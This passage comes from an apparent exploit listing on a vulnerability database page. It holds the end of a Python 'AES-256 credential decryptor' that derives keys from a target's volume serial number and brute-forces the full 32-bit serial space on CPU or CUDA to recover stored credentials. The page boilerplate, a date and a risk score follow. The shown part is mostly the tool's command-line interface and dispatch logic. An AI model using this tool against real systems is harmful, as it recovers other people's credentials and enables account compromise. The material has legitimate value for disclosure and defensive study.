        print("\n[!] interrupted. Resume with:  --start %08X" % pos,
              file=sys.stderr)
    return col.close(tested, time.time() - t0, gpu_hits=gpu_hits)


def main():
    ap = argparse.ArgumentParser(
        description="AES-256 credential decryptor. Derives the key from the "
                    "target volume serial number. Runs an exhaustive search "
                    "on CPU by default, or on CUDA with --gpu.")
    ap.add_argument("-v", "--value", required=True, help="encrypted value (base64)")
    ap.add_argument("-s", "--serial",
                    help="volume serial: '2857-2E94' / '28572E94' (hex) or 'dec:123'")
    ap.add_argument("-b", "--bruteforce", action="store_true",
                    help="exhaustive search over the serial space")
    ap.add_argument("--gpu", action="store_true",
                    help="use the CUDA backend instead of multiprocessing")
    ap.add_argument("--start", default="0", help="range start (hex or dec:)")
    ap.add_argument("--end", default=None, help="range end, exclusive (hex or dec:)")
    ap.add_argument("-j", "--workers", type=int, default=None,
                    help="cpu worker processes")
    ap.add_argument("--block", type=int, default=256,
                    help="gpu threads per block (default 256)")
    ap.add_argument("--batch", type=int, default=None,
                    help="gpu candidates per launch")
    ap.add_argument("--target-ms", type=int, default=500,
                    help="gpu target milliseconds per launch (default 500)")
    ap.add_argument("--maxreg", type=int, default=None,
                    help="NVRTC --maxrregcount for occupancy tuning")
    ap.add_argument("--charset", choices=("auto", "ascii", "bytes", "latin1", "any"),
                    default="auto",
                    help="final plaintext oracle (default auto)")
    ap.add_argument("--out", help="file to store every valid candidate")
    ap.add_argument("--selftest", action="store_true",
                    help="verify the CUDA kernel against the Python reference")
    args = ap.parse_args()

    try:
        ct = base64.b64decode(args.value)
    except Exception as e:
        ap.error("invalid base64: %s" % e)
    if len(ct) == 0 or len(ct) % 16:
        ap.error("ciphertext is not a multiple of 16 bytes (%d)" % len(ct))

    if args.selftest:
        sys.exit(0 if selftest(GpuBackend(ct, block=args.block,
                                          maxreg=args.maxreg)) else 1)

    if args.serial and not args.bruteforce:
        vsn = parse_serial(args.serial)
        pt = try_decrypt(ct, vsn)
        if pt is None:
            print("[-] does not decrypt")
            sys.exit(2)
        print("[+] VSN=%08X  ->  %r" % (vsn, pt))
        return

    if not args.bruteforce:
        ap.error("use -s/--serial or -b/--bruteforce")

    start = parse_serial(args.start) if args.start else 0
    end = parse_serial(args.end) if args.end else 2**32
    if not (0 <= start < end <= 2**32):
        ap.error("invalid range")

    out_path = args.out or ("candidates_%08X_%X.tsv" % (start, end))

    if args.gpu:
        bruteforce_gpu(ct, start, end, block=args.block, batch=args.batch,
                       target_ms=args.target_ms, maxreg=args.maxreg,
                       charset=args.charset, out_path=out_path)
    else:
        bruteforce_cpu(ct, start, end, workers=args.workers,
                       charset=args.charset, out_path=out_path)


if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Oct 2026 00:00Current
6.1Medium risk
Vulners AI Score6.1
4